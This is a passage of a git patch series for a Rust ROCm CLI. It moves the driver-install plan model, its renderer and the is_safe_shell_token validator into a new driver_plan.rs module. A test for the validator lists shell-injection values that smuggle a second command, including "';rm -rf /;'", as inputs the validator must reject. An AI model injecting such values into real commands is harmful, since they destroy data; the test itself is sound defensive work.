`ensure_libnuma_for_torch`), the choice between printing the commands and running them (`SystemPackageInstallAction`, `system_package_install_action`), the guard that refuses an `apt-get install` which would remove ROCm packages, and `real_os_release`, the real host's os-release that every one of these plans is built from. Production code uses only `std`, `anyhow` and `rocm_core`; the three `ensure_*` functions and `real_os_release` are `pub(crate)` and the rest is private. `runtime_install_finalize.rs` re-exports the three `ensure_*` names for `main.rs` and [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), and [`driver_install.rs`](../apps/rocm/src/driver_install.rs) imports `real_os_release` from here directly. `SdkInstallConsents` stays in `runtime_install_finalize.rs` (it carries a `therock::SdkInstallConsent`); the functions here take its plain `system_packages` bool. `torch_runtime_dep_checks_disabled` is the E2E hook that skips the torch dependency checks; it only does anything under `e2e-test-hooks`. Its tests cover the consent decision (reaching `consents_for_install_sdk_argv` in `runtime_install_finalize.rs`'s test module) and, under `e2e-test-hooks` on Linux, that `real_os_release` ignores a simulated host root. - [`therock.rs`](../apps/rocm/src/therock.rs) — full domain extraction; owns TheRock SDK install/update. The runtime-manifest model and registry loaders it writes through live in [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs); `therock.rs` re-exports the names other modules reach as `therock::...`: `InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `load_runtime_manifests` and `validate_rocm_sdk_runtime_probe` from `runtime_registry.rs` (plus `RocmSdkLibraryProbe`, for tests only), and from its child modules the `pub(crate)` names each child's entry below lists. Three helpers stay in `therock.rs` for good, with the install orchestration and the other keys and roots helpers, and its children read them from there: `slugify` ([`therock/fetch.rs`](../apps/rocm/src/therock/fetch.rs)), `venv_python_path` ([`therock/python.rs`](../apps/rocm/src/therock/python.rs)) and `platform_tarball_token` ([`therock/resolve/tarball.rs`](../apps/rocm/src/therock/resolve/tarball.rs)). The `runtimes` subcommand's command enum (`RuntimesCommand`) stays in [`main.rs`](../apps/rocm/src/main.rs); its dispatch fn and most of its domain logic — rendering, activation, and manifest import — live in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs). - [`therock/version.rs`](../apps/rocm/src/therock/version.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): the version grammar behind runtime selection and update checks. `parse_version` is the strict gate an install is routed on; `parse_version_for_ordering`, `compare_version_strings` and `version_relation` implement the PEP 440 ordering and the "is this a different version" question; `parse_host_version` reads a host-reported ROCm version through the same parser; `runtime_version_display`, `runtime_version_build_date`, `normalize_requested_build_date` and the calendar helpers behind them handle build dates; `is_stable_runtime_version` and the `ParsedVersion`/`VersionOrderKey`/`VersionStage` types back them. The items `therock.rs` and its property-test module use are `pub(super)` (including the `ParsedVersion` and `VersionOrderKey` fields they read); the parsing and calendar helpers behind them are private; and `runtime_version_display` is `pub(crate)`, re-exported by `therock.rs` for the other modules that render versions. Depends on nothing else in `therock`. `therock_version_proptests.rs` stays declared from `therock.rs` because it also reaches update, wheel and registry code. - [`therock/io.rs`](../apps/rocm/src/therock/io.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): unique scratch directories (`linux_temp_dir`, `windows_temp_dir`) and the stage-then-publish atomic file writes (`write_file_atomically`, `stage_file_for_atomic_publish`, `temp_sibling_path`, and the platform `publish_temp_file`/`replace_file_windows` pair) for the metadata cache entries and the staged metadata public key, the startup update-check record and the active-runtime marker; runtime registry manifests do not go through them. `write_file_atomically` is `pub(crate)` and re-exported by `therock.rs` for [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs), which writes the active-runtime marker with it; the rest is `pub(super)` or private. The `cfg(windows)` publish and replace paths compile only on the Windows lane. diff --git a/docs/testing.md b/docs/testing.md index 0b1355a069..bd21c81ce8 100644 --- a/docs/testing.md +++ b/docs/testing.md @@ -2288,7 +2288,7 @@ rather than the real host. The `a_fallback_read_plans*`/ `an_unreadable_file*`/`distro_name_names_an_unreadable_file` tests in `rocm-core` and `rocm` construct an `OsRelease` directly — bypassing the real read entirely, since the production functions that do it -(`openmpi::real_os_release`, `runtime_install_finalize::real_os_release`) +(`openmpi::real_os_release`, `system_packages::real_os_release`) read the real machine unconditionally and cannot honour a simulated root — to pin that a fallback-sourced read plans and hints identically to a primary-sourced one From abb59b0092c863efc5f1d2d99b2256e8336496e5 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 2 Nov 2026 17:43:17 +0000 Subject: [PATCH 02/12] refactor(rocm): move the driver plan model and renderer out of driver_install.rs into driver_plan.rs Step 2 of 7. driver_plan.rs is a leaf (std and rocm_core only) holding the plan `rocm install driver` builds and prints: DriverInstallPlan, DriverPlanCommand, DriverCommandPhase, PrivilegeEscalation, render_driver_install_plan with driver_plan_approval_label, and the helpers every plan builder shares (driver_command, driver_root_preflight_checks, resolve_shell_default_template, is_safe_shell_token). The per-distro builders and the WSL rocDXG plan stay in driver_install.rs for the next steps. Moved code is identical apart from the edits below. Non-move edits: - Visibility: the moved types, the plan and command fields, DriverInstallPlan::execution_commands, PrivilegeEscalation::{detect, prefix, needs_sudo_binary} and the helper functions become pub(crate) because driver_install.rs now reaches them across the module boundary. driver_plan_approval_label stays private. - render_driver_install_plan's signature wraps over several lines in rustfmt's output because pub(crate) lengthened it. - driver_install.rs imports the moved names from crate::driver_plan; its test module imports DriverPlanCommand itself; the empty_as_unknown import moves with the renderer. - main.rs declares the new module. - Seven tests move with the code: the six resolve_shell_default_template_* tests and is_safe_shell_token_rejects_quote_and_semicolon_payloads. The plan-building tests that only call render_driver_install_plan on a built plan stay with the builders. - docs/architecture.md gets an entry for driver_plan.rs and an updated driver_install.rs entry. The leaf-name test list is unchanged. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 362 +----------------------------- apps/rocm/src/driver_plan.rs | 382 ++++++++++++++++++++++++++++++++ apps/rocm/src/main.rs | 1 + docs/architecture.md | 3 +- 4 files changed, 391 insertions(+), 357 deletions(-) create mode 100644 apps/rocm/src/driver_plan.rs diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index 9b83dcc7f6..c2a4042943 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -22,11 +22,15 @@ use std::path::PathBuf; use std::process::{Command as ProcessCommand, Stdio}; use anyhow::{Context, Result, bail}; -use rocm_core::placeholder::empty_as_unknown; use rocm_core::{AppPaths, ExamineSummary, shell_command_for_host}; use serde::{Deserialize, Serialize}; use crate::cli_report; +use crate::driver_plan::{ + DriverCommandPhase, DriverInstallPlan, PrivilegeEscalation, driver_command, + driver_root_preflight_checks, is_safe_shell_token, render_driver_install_plan, + resolve_shell_default_template, +}; use crate::system_packages::real_os_release; /// Whether `rocm install driver` only reports on this OS. True on native @@ -358,108 +362,6 @@ impl DriverInstallError { } } -#[derive(Debug, Clone)] -struct DriverInstallPlan { - supported: bool, - mutating: bool, - policy: String, - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - reason: String, - preflight_checks: Vec, - commands: Vec, - checks: Vec, - /// Whether the host must reboot before the verification steps mean anything. - /// - /// True for the kernel-module paths: an amdgpu DKMS build is not live until - /// the machine comes back up. False on WSL2, where nothing kernel-side - /// changes — ROCDXG is a userspace library and `ldconfig` publishes it - /// immediately, so telling the user to reboot would be wrong. - reboot_required: bool, -} - -impl DriverInstallPlan { - fn execution_commands(&self) -> Vec { - self.commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .map(|command| command.command.clone()) - .collect() - } -} - -#[derive(Debug, Clone, Copy, Eq, PartialEq)] -enum DriverCommandPhase { - Prepare, - Execute, - Verify, -} - -#[derive(Debug, Clone)] -struct DriverPlanCommand { - phase: DriverCommandPhase, - command: String, -} - -/// How a generated driver command is expected to reach root. -/// -/// The driver plan is a list of shell lines, so escalation is a text prefix -/// rather than an argv decision (contrast `openmpi::InstallCommand`, whose -/// commands are argv vectors and can prepend `sudo` structurally). Prefixing -/// unconditionally is what made `install driver` unusable on the hosts it is -/// most needed on: containers and minimal cloud images run as uid 0 with no -/// `sudo` binary, so every command died with `sudo: not found` before any -/// driver work happened. -/// -/// This is resolved when the plan is BUILT, not when it runs, so that the plan -/// `--dry-run` prints, the plan the approval prompt shows, and the commands -/// persisted into `state.json` are all the commands that actually execute. -#[derive(Debug, Clone, Copy, Eq, PartialEq)] -enum PrivilegeEscalation { - /// Not root: privileged commands need a `sudo` prefix. - Sudo, - /// Already uid 0: `sudo` is unnecessary, and may not even be installed. - AlreadyRoot, -} - -impl PrivilegeEscalation { - /// Read the current process's privilege level. - /// - /// Only ever called on the production path; every plan builder takes the - /// escalation as a parameter so both branches are testable on any host. - fn detect() -> Self { - if rocm_core::openmpi::running_as_root() { - Self::AlreadyRoot - } else { - Self::Sudo - } - } - - /// The prefix to place before a command that must run as root — `"sudo "`, - /// or nothing at all when the process already is root. Includes the - /// trailing space so it composes directly into a command string. - const fn prefix(self) -> &'static str { - match self { - Self::Sudo => "sudo ", - Self::AlreadyRoot => "", - } - } - - /// Whether a plan built under this escalation depends on `sudo` being - /// installed. Drives the preflight list, so it does not claim a - /// precondition the plan is not relying on. - const fn needs_sudo_binary(self) -> bool { - matches!(self, Self::Sudo) - } -} - #[derive(Debug, Clone, Serialize, Deserialize)] struct DriverInstallState { approved_at_unix_ms: u128, @@ -619,19 +521,6 @@ fn sha256_digest_is_well_formed(digest: &str) -> bool { digest.len() == 64 && digest.chars().all(|c| c.is_ascii_hexdigit()) } -/// Whether a string is safe to interpolate into the driver-install plan's -/// shell commands: these values (the `ROCM_CLI_AMDGPU_DRIVER_VERSION` -/// override, and `VERSION_ID`/`VERSION_CODENAME`/`UBUNTU_CODENAME` read from -/// `/etc/os-release`) end up both inside single-quoted `printf` arguments and, -/// for `VERSION_ID` in the SUSEConnect commands, directly unquoted on the -/// command line -- so only letters, digits, and `. _ -` are accepted, the -/// same charset a real amdgpu/distro version or codename is made of. -fn is_safe_shell_token(v: &str) -> bool { - !v.is_empty() - && v.chars() - .all(|c| c.is_ascii_alphanumeric() || "._-".contains(c)) -} - /// How the downloaded ROCDXG package will be authenticated before it is /// installed as root. #[derive(Debug, Clone, Eq, PartialEq)] @@ -1672,167 +1561,6 @@ fn linux_major_version(version_id: &str) -> &str { version_id.split('.').next().unwrap_or(version_id) } -/// Preconditions about reaching root for a driver plan. -/// -/// These differ by escalation: a plan that will prefix `sudo` additionally -/// depends on a `sudo` binary being installed, while a plan built as root does -/// not. Listing that precondition when already root would state a requirement -/// the plan is not relying on — which is exactly the contradiction that made -/// the unconditional prefix confusing to debug. -fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { - let mut checks = - vec!["root access: run as root, or ensure `sudo -v` succeeds before approval".to_owned()]; - if escalation.needs_sudo_binary() { - checks.push("`sudo` command is available when not running as root".to_owned()); - } - checks -} - -fn driver_command(phase: DriverCommandPhase, command: &str) -> DriverPlanCommand { - DriverPlanCommand { - phase, - command: command.to_owned(), - } -} - -/// Resolve a `${VAR:-default}` shell parameter-expansion template to its -/// effective value: the value of `VAR` when it is set and non-empty (matching -/// the shell `:-` semantics), otherwise the literal default. This is resolved -/// once at plan-build time so the concrete value is baked into both the -/// human-readable summary and the commands the plan runs, rather than leaking an -/// unexpanded `${...}` placeholder into user-facing output or depending on the -/// runtime shell — which, for the single-quoted WSL ROCDXG download command, would -/// never expand it at all. -/// -/// Only a single, flat `${VAR:-default}` template is recognized. Anything else — -/// a bare `${VAR}`, a `${VAR:=x}`/`${VAR-x}` form, or a nested default such as -/// `${A:-${B:-x}}` whose default itself contains `${` — is returned unchanged, so -/// an unresolvable shape degrades to its literal input rather than to a -/// half-resolved string. -fn resolve_shell_default_template(expr: &str) -> String { - let Some(inner) = expr.strip_prefix("${").and_then(|s| s.strip_suffix('}')) else { - return expr.to_owned(); - }; - let Some((var, default)) = inner.split_once(":-") else { - return expr.to_owned(); - }; - if default.contains("${") { - // Nested or embedded templates are beyond this flat matcher; return the - // input untouched rather than emitting a partially resolved string. - return expr.to_owned(); - } - std::env::var(var) - .ok() - .filter(|value| !value.is_empty()) - .unwrap_or_else(|| default.to_owned()) -} - -fn render_driver_install_plan(plan: &DriverInstallPlan, yes: bool, dry_run: bool) -> String { - let mut output = String::new(); - let _ = writeln!(output, "driver install plan"); - let _ = writeln!(output, " policy: {}", plan.policy); - let _ = writeln!(output, " supported: {}", plan.supported); - let _ = writeln!(output, " mutating: {}", plan.mutating); - let _ = writeln!( - output, - " approval: {}", - driver_plan_approval_label(plan, yes, dry_run) - ); - let _ = writeln!(output, " dry_run: {dry_run}"); - let _ = writeln!(output, " os_id: {}", empty_as_unknown(&plan.os_id)); - let _ = writeln!( - output, - " version_id: {}", - empty_as_unknown(&plan.version_id) - ); - let _ = writeln!(output, " codename: {}", empty_as_unknown(&plan.codename)); - let _ = writeln!(output, " repo_version: {}", plan.repo_version_expr); - let _ = writeln!(output, " reason: {}", plan.reason); - if !plan.preflight_checks.is_empty() { - let _ = writeln!(output, " preflight_checks:"); - for check in &plan.preflight_checks { - let _ = writeln!(output, " {check}"); - } - } - let execution_commands = plan - .commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .collect::>(); - if execution_commands.is_empty() { - let _ = writeln!(output, " execution_commands: "); - } else { - let _ = writeln!(output, " execution_commands:"); - for command in execution_commands { - let _ = writeln!(output, " {:?}: {}", command.phase, command.command); - } - } - let verification_commands = plan - .commands - .iter() - .filter(|command| command.phase == DriverCommandPhase::Verify) - .collect::>(); - // A plan that changes nothing kernel-side is live as soon as it finishes, so - // labelling its checks "post_reboot" would tell the user to reboot for - // nothing — and would contradict the `reboot_required: false` this same plan - // reports after executing. - let checks_label = if plan.reboot_required { - "post_reboot" - } else { - "post_install" - }; - if !verification_commands.is_empty() { - let _ = writeln!(output, " {checks_label}_check_commands:"); - for command in verification_commands { - let _ = writeln!(output, " {}", command.command); - } - } - if !plan.checks.is_empty() { - let _ = writeln!(output, " {checks_label}_checks:"); - for check in &plan.checks { - let _ = writeln!(output, " {check}"); - } - } - if plan.supported && plan.mutating && !yes && !dry_run { - let _ = writeln!( - output, - " action: rerun with --yes after reviewing this plan, or approve from the TUI" - ); - } else if plan.supported && plan.mutating && dry_run { - let _ = writeln!( - output, - " action: dry run only; no driver commands executed" - ); - } else if plan.supported && !plan.mutating { - let _ = writeln!( - output, - " action: no driver commands will be executed; add --dkms to plan a native DKMS driver install" - ); - } else if !plan.supported { - let _ = writeln!(output, " action: no driver commands will be executed"); - } - output -} - -const fn driver_plan_approval_label( - plan: &DriverInstallPlan, - yes: bool, - dry_run: bool, -) -> &'static str { - if !plan.supported || !plan.mutating || dry_run { - "not required" - } else if yes { - "approved" - } else { - "required" - } -} - fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { match (os_id, version_id) { ("ubuntu", "22.04") => Some("jammy"), @@ -1908,6 +1636,7 @@ fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { #[cfg(test)] mod tests { use super::*; + use crate::driver_plan::DriverPlanCommand; use crate::tests::{ScopedTestEnv, test_paths}; #[cfg(unix)] use std::path::Path; @@ -2475,66 +2204,6 @@ mod tests { } } - #[test] - fn resolve_shell_default_template_uses_default_when_env_unset() { - let _env = ScopedTestEnv::new(); - // A made-up variable name that nothing else sets, cleared under the lock, - // isolates the default path. - assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION:-7.2.4}"), - "7.2.4" - ); - } - - #[test] - fn resolve_shell_default_template_prefers_env_value_when_set() { - let mut env = ScopedTestEnv::new(); - let var = "ROCM_CLI_TEST_REPO_VERSION_OVERRIDE"; - env.set(var, "9.9.9"); - assert_eq!( - resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), - "9.9.9" - ); - } - - #[test] - fn resolve_shell_default_template_treats_empty_env_as_unset() { - let mut env = ScopedTestEnv::new(); - let var = "ROCM_CLI_TEST_REPO_VERSION_EMPTY"; - env.set(var, ""); - assert_eq!( - resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), - "7.2.4" - ); - } - - #[test] - fn resolve_shell_default_template_passes_through_non_template() { - assert_eq!(resolve_shell_default_template("7.2.4"), "7.2.4"); - } - - #[test] - fn resolve_shell_default_template_leaves_bare_var_untouched() { - let _env = ScopedTestEnv::new(); - // No `:-default`, so there is nothing to resolve to; the input must pass - // through unchanged rather than being partially rewritten. - assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION}"), - "${ROCM_CLI_TEST_UNSET_REPO_VERSION}" - ); - } - - #[test] - fn resolve_shell_default_template_leaves_nested_default_untouched() { - let _env = ScopedTestEnv::new(); - // A nested default is beyond the flat matcher; returning the literal - // input keeps a `${B:-x}` fragment from leaking as a "resolved" value. - assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}"), - "${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}" - ); - } - #[test] fn driver_plan_dry_run_repo_version_line_is_resolved() { let _env = ScopedTestEnv::with_amd_overrides_cleared(); @@ -3220,25 +2889,6 @@ VERSION_CODENAME=noble ); } - #[test] - fn is_safe_shell_token_rejects_quote_and_semicolon_payloads() { - // The hostile-codename/version-id/os-id tests above only ever send - // `$(id)` through this filter, which proves the metacharacter - // denylist works for *that* payload -- but a widened character class - // that happened to still reject `$`, `(`, `)` while now accepting - // `'`/`;` would pass every one of them undetected. `'` breaks out of - // this value's enclosing single-quoted shell string outright, and - // `;` chains a second command once out, so both must be checked - // directly against the function itself, not only indirectly. - assert!(!is_safe_shell_token("6.2.1'")); - assert!(!is_safe_shell_token("6.2.1;rm")); - assert!(!is_safe_shell_token("';rm -rf /;'")); - // `/` cannot break out of the quotes, but it would let the override - // rewrite the repo URL path. - assert!(!is_safe_shell_token("6.2.1/../x")); - assert!(is_safe_shell_token("6.2.1")); - } - #[test] fn driver_reconcile_without_state_gives_non_privileged_guidance() -> Result<()> { let (root, paths) = test_paths("driver-reconcile-empty"); diff --git a/apps/rocm/src/driver_plan.rs b/apps/rocm/src/driver_plan.rs new file mode 100644 index 0000000000..4bb9a838ea --- /dev/null +++ b/apps/rocm/src/driver_plan.rs @@ -0,0 +1,382 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! The `rocm install driver` plan model and its rendering: the plan, its +//! commands and their phases, how a command reaches root, the text the plan is +//! printed as, and the helpers every plan builder shares. +//! +//! Relocated from `driver_install.rs` with no behavior change; the moved +//! struct fields are `pub(crate)` because the plan builders, which stay in +//! `driver_install.rs` for now, construct the plan. +//! +//! A leaf: its production code uses only `std` and `rocm_core`. + +use std::fmt::Write as _; + +use rocm_core::placeholder::empty_as_unknown; + +#[derive(Debug, Clone)] +pub(crate) struct DriverInstallPlan { + pub(crate) supported: bool, + pub(crate) mutating: bool, + pub(crate) policy: String, + pub(crate) os_id: String, + pub(crate) version_id: String, + pub(crate) codename: String, + pub(crate) repo_version_expr: String, + pub(crate) reason: String, + pub(crate) preflight_checks: Vec, + pub(crate) commands: Vec, + pub(crate) checks: Vec, + /// Whether the host must reboot before the verification steps mean anything. + /// + /// True for the kernel-module paths: an amdgpu DKMS build is not live until + /// the machine comes back up. False on WSL2, where nothing kernel-side + /// changes — ROCDXG is a userspace library and `ldconfig` publishes it + /// immediately, so telling the user to reboot would be wrong. + pub(crate) reboot_required: bool, +} + +impl DriverInstallPlan { + pub(crate) fn execution_commands(&self) -> Vec { + self.commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .map(|command| command.command.clone()) + .collect() + } +} + +#[derive(Debug, Clone, Copy, Eq, PartialEq)] +pub(crate) enum DriverCommandPhase { + Prepare, + Execute, + Verify, +} + +#[derive(Debug, Clone)] +pub(crate) struct DriverPlanCommand { + pub(crate) phase: DriverCommandPhase, + pub(crate) command: String, +} + +/// How a generated driver command is expected to reach root. +/// +/// The driver plan is a list of shell lines, so escalation is a text prefix +/// rather than an argv decision (contrast `openmpi::InstallCommand`, whose +/// commands are argv vectors and can prepend `sudo` structurally). Prefixing +/// unconditionally is what made `install driver` unusable on the hosts it is +/// most needed on: containers and minimal cloud images run as uid 0 with no +/// `sudo` binary, so every command died with `sudo: not found` before any +/// driver work happened. +/// +/// This is resolved when the plan is BUILT, not when it runs, so that the plan +/// `--dry-run` prints, the plan the approval prompt shows, and the commands +/// persisted into `state.json` are all the commands that actually execute. +#[derive(Debug, Clone, Copy, Eq, PartialEq)] +pub(crate) enum PrivilegeEscalation { + /// Not root: privileged commands need a `sudo` prefix. + Sudo, + /// Already uid 0: `sudo` is unnecessary, and may not even be installed. + AlreadyRoot, +} + +impl PrivilegeEscalation { + /// Read the current process's privilege level. + /// + /// Only ever called on the production path; every plan builder takes the + /// escalation as a parameter so both branches are testable on any host. + pub(crate) fn detect() -> Self { + if rocm_core::openmpi::running_as_root() { + Self::AlreadyRoot + } else { + Self::Sudo + } + } + + /// The prefix to place before a command that must run as root — `"sudo "`, + /// or nothing at all when the process already is root. Includes the + /// trailing space so it composes directly into a command string. + pub(crate) const fn prefix(self) -> &'static str { + match self { + Self::Sudo => "sudo ", + Self::AlreadyRoot => "", + } + } + + /// Whether a plan built under this escalation depends on `sudo` being + /// installed. Drives the preflight list, so it does not claim a + /// precondition the plan is not relying on. + pub(crate) const fn needs_sudo_binary(self) -> bool { + matches!(self, Self::Sudo) + } +} + +/// Whether a string is safe to interpolate into the driver-install plan's +/// shell commands: these values (the `ROCM_CLI_AMDGPU_DRIVER_VERSION` +/// override, and `VERSION_ID`/`VERSION_CODENAME`/`UBUNTU_CODENAME` read from +/// `/etc/os-release`) end up both inside single-quoted `printf` arguments and, +/// for `VERSION_ID` in the SUSEConnect commands, directly unquoted on the +/// command line -- so only letters, digits, and `. _ -` are accepted, the +/// same charset a real amdgpu/distro version or codename is made of. +pub(crate) fn is_safe_shell_token(v: &str) -> bool { + !v.is_empty() + && v.chars() + .all(|c| c.is_ascii_alphanumeric() || "._-".contains(c)) +} + +/// Preconditions about reaching root for a driver plan. +/// +/// These differ by escalation: a plan that will prefix `sudo` additionally +/// depends on a `sudo` binary being installed, while a plan built as root does +/// not. Listing that precondition when already root would state a requirement +/// the plan is not relying on — which is exactly the contradiction that made +/// the unconditional prefix confusing to debug. +pub(crate) fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { + let mut checks = + vec!["root access: run as root, or ensure `sudo -v` succeeds before approval".to_owned()]; + if escalation.needs_sudo_binary() { + checks.push("`sudo` command is available when not running as root".to_owned()); + } + checks +} + +pub(crate) fn driver_command(phase: DriverCommandPhase, command: &str) -> DriverPlanCommand { + DriverPlanCommand { + phase, + command: command.to_owned(), + } +} + +/// Resolve a `${VAR:-default}` shell parameter-expansion template to its +/// effective value: the value of `VAR` when it is set and non-empty (matching +/// the shell `:-` semantics), otherwise the literal default. This is resolved +/// once at plan-build time so the concrete value is baked into both the +/// human-readable summary and the commands the plan runs, rather than leaking an +/// unexpanded `${...}` placeholder into user-facing output or depending on the +/// runtime shell — which, for the single-quoted WSL ROCDXG download command, would +/// never expand it at all. +/// +/// Only a single, flat `${VAR:-default}` template is recognized. Anything else — +/// a bare `${VAR}`, a `${VAR:=x}`/`${VAR-x}` form, or a nested default such as +/// `${A:-${B:-x}}` whose default itself contains `${` — is returned unchanged, so +/// an unresolvable shape degrades to its literal input rather than to a +/// half-resolved string. +pub(crate) fn resolve_shell_default_template(expr: &str) -> String { + let Some(inner) = expr.strip_prefix("${").and_then(|s| s.strip_suffix('}')) else { + return expr.to_owned(); + }; + let Some((var, default)) = inner.split_once(":-") else { + return expr.to_owned(); + }; + if default.contains("${") { + // Nested or embedded templates are beyond this flat matcher; return the + // input untouched rather than emitting a partially resolved string. + return expr.to_owned(); + } + std::env::var(var) + .ok() + .filter(|value| !value.is_empty()) + .unwrap_or_else(|| default.to_owned()) +} + +pub(crate) fn render_driver_install_plan( + plan: &DriverInstallPlan, + yes: bool, + dry_run: bool, +) -> String { + let mut output = String::new(); + let _ = writeln!(output, "driver install plan"); + let _ = writeln!(output, " policy: {}", plan.policy); + let _ = writeln!(output, " supported: {}", plan.supported); + let _ = writeln!(output, " mutating: {}", plan.mutating); + let _ = writeln!( + output, + " approval: {}", + driver_plan_approval_label(plan, yes, dry_run) + ); + let _ = writeln!(output, " dry_run: {dry_run}"); + let _ = writeln!(output, " os_id: {}", empty_as_unknown(&plan.os_id)); + let _ = writeln!( + output, + " version_id: {}", + empty_as_unknown(&plan.version_id) + ); + let _ = writeln!(output, " codename: {}", empty_as_unknown(&plan.codename)); + let _ = writeln!(output, " repo_version: {}", plan.repo_version_expr); + let _ = writeln!(output, " reason: {}", plan.reason); + if !plan.preflight_checks.is_empty() { + let _ = writeln!(output, " preflight_checks:"); + for check in &plan.preflight_checks { + let _ = writeln!(output, " {check}"); + } + } + let execution_commands = plan + .commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .collect::>(); + if execution_commands.is_empty() { + let _ = writeln!(output, " execution_commands: "); + } else { + let _ = writeln!(output, " execution_commands:"); + for command in execution_commands { + let _ = writeln!(output, " {:?}: {}", command.phase, command.command); + } + } + let verification_commands = plan + .commands + .iter() + .filter(|command| command.phase == DriverCommandPhase::Verify) + .collect::>(); + // A plan that changes nothing kernel-side is live as soon as it finishes, so + // labelling its checks "post_reboot" would tell the user to reboot for + // nothing — and would contradict the `reboot_required: false` this same plan + // reports after executing. + let checks_label = if plan.reboot_required { + "post_reboot" + } else { + "post_install" + }; + if !verification_commands.is_empty() { + let _ = writeln!(output, " {checks_label}_check_commands:"); + for command in verification_commands { + let _ = writeln!(output, " {}", command.command); + } + } + if !plan.checks.is_empty() { + let _ = writeln!(output, " {checks_label}_checks:"); + for check in &plan.checks { + let _ = writeln!(output, " {check}"); + } + } + if plan.supported && plan.mutating && !yes && !dry_run { + let _ = writeln!( + output, + " action: rerun with --yes after reviewing this plan, or approve from the TUI" + ); + } else if plan.supported && plan.mutating && dry_run { + let _ = writeln!( + output, + " action: dry run only; no driver commands executed" + ); + } else if plan.supported && !plan.mutating { + let _ = writeln!( + output, + " action: no driver commands will be executed; add --dkms to plan a native DKMS driver install" + ); + } else if !plan.supported { + let _ = writeln!(output, " action: no driver commands will be executed"); + } + output +} + +const fn driver_plan_approval_label( + plan: &DriverInstallPlan, + yes: bool, + dry_run: bool, +) -> &'static str { + if !plan.supported || !plan.mutating || dry_run { + "not required" + } else if yes { + "approved" + } else { + "required" + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::tests::ScopedTestEnv; + + #[test] + fn resolve_shell_default_template_uses_default_when_env_unset() { + let _env = ScopedTestEnv::new(); + // A made-up variable name that nothing else sets, cleared under the lock, + // isolates the default path. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION:-7.2.4}"), + "7.2.4" + ); + } + + #[test] + fn resolve_shell_default_template_prefers_env_value_when_set() { + let mut env = ScopedTestEnv::new(); + let var = "ROCM_CLI_TEST_REPO_VERSION_OVERRIDE"; + env.set(var, "9.9.9"); + assert_eq!( + resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), + "9.9.9" + ); + } + + #[test] + fn resolve_shell_default_template_treats_empty_env_as_unset() { + let mut env = ScopedTestEnv::new(); + let var = "ROCM_CLI_TEST_REPO_VERSION_EMPTY"; + env.set(var, ""); + assert_eq!( + resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), + "7.2.4" + ); + } + + #[test] + fn resolve_shell_default_template_passes_through_non_template() { + assert_eq!(resolve_shell_default_template("7.2.4"), "7.2.4"); + } + + #[test] + fn resolve_shell_default_template_leaves_bare_var_untouched() { + let _env = ScopedTestEnv::new(); + // No `:-default`, so there is nothing to resolve to; the input must pass + // through unchanged rather than being partially rewritten. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION}"), + "${ROCM_CLI_TEST_UNSET_REPO_VERSION}" + ); + } + + #[test] + fn resolve_shell_default_template_leaves_nested_default_untouched() { + let _env = ScopedTestEnv::new(); + // A nested default is beyond the flat matcher; returning the literal + // input keeps a `${B:-x}` fragment from leaking as a "resolved" value. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}"), + "${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}" + ); + } + + #[test] + fn is_safe_shell_token_rejects_quote_and_semicolon_payloads() { + // The hostile-codename/version-id/os-id tests above only ever send + // `$(id)` through this filter, which proves the metacharacter + // denylist works for *that* payload -- but a widened character class + // that happened to still reject `$`, `(`, `)` while now accepting + // `'`/`;` would pass every one of them undetected. `'` breaks out of + // this value's enclosing single-quoted shell string outright, and + // `;` chains a second command once out, so both must be checked + // directly against the function itself, not only indirectly. + assert!(!is_safe_shell_token("6.2.1'")); + assert!(!is_safe_shell_token("6.2.1;rm")); + assert!(!is_safe_shell_token("';rm -rf /;'")); + // `/` cannot break out of the quotes, but it would let the override + // rewrite the repo URL path. + assert!(!is_safe_shell_token("6.2.1/../x")); + assert!(is_safe_shell_token("6.2.1")); + } +} diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 026eae9f22..0fd5ae0a6a 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -27,6 +27,7 @@ mod dash_seam; mod deletion_properties; mod 